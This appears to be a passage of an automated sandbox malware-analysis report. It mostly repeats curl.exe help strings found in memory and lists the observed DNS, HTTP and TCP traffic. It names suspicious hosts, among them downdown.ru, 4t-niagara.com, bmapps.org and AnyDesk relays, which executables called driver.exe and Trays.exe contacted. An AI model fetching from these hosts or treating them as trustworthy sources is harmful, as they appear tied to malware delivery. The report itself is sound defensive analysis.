--disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000028.00000002.3600103718.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000028.00000002.3600103718.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000029.00000002.3607822184.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000029.00000002.3607822184.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 0000002A.00000002.3629188896.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 0000002A.00000002.3629188896.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)

Source: global traffic	DNS traffic detected: DNS query: downdown.ru
Source: global traffic	DNS traffic detected: DNS query: www.4t-niagara.com
Source: global traffic	DNS traffic detected: DNS query: boot.net.anydesk.com
Source: global traffic	DNS traffic detected: DNS query: relay-31ee9317.net.anydesk.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic	TCP traffic: 192.168.11.20:63108 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63108 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63108 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63108 -> 239.255.255.250:1900

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 15:18:26 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Source: driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/hitmail.html
Source: driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/reminder.html
Source: driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/webimage.html
Source: curl.exe, 00000037.00000002.3736863453.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bmapps.org/bmcontrol/win64/
Source: curl.exe, 00000037.00000002.3736863453.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bmapps.org/bmcontrol/win64/app.json
Source: curl.exe, 0000002A.00000002.3629980662.0000000001188000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628390588.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
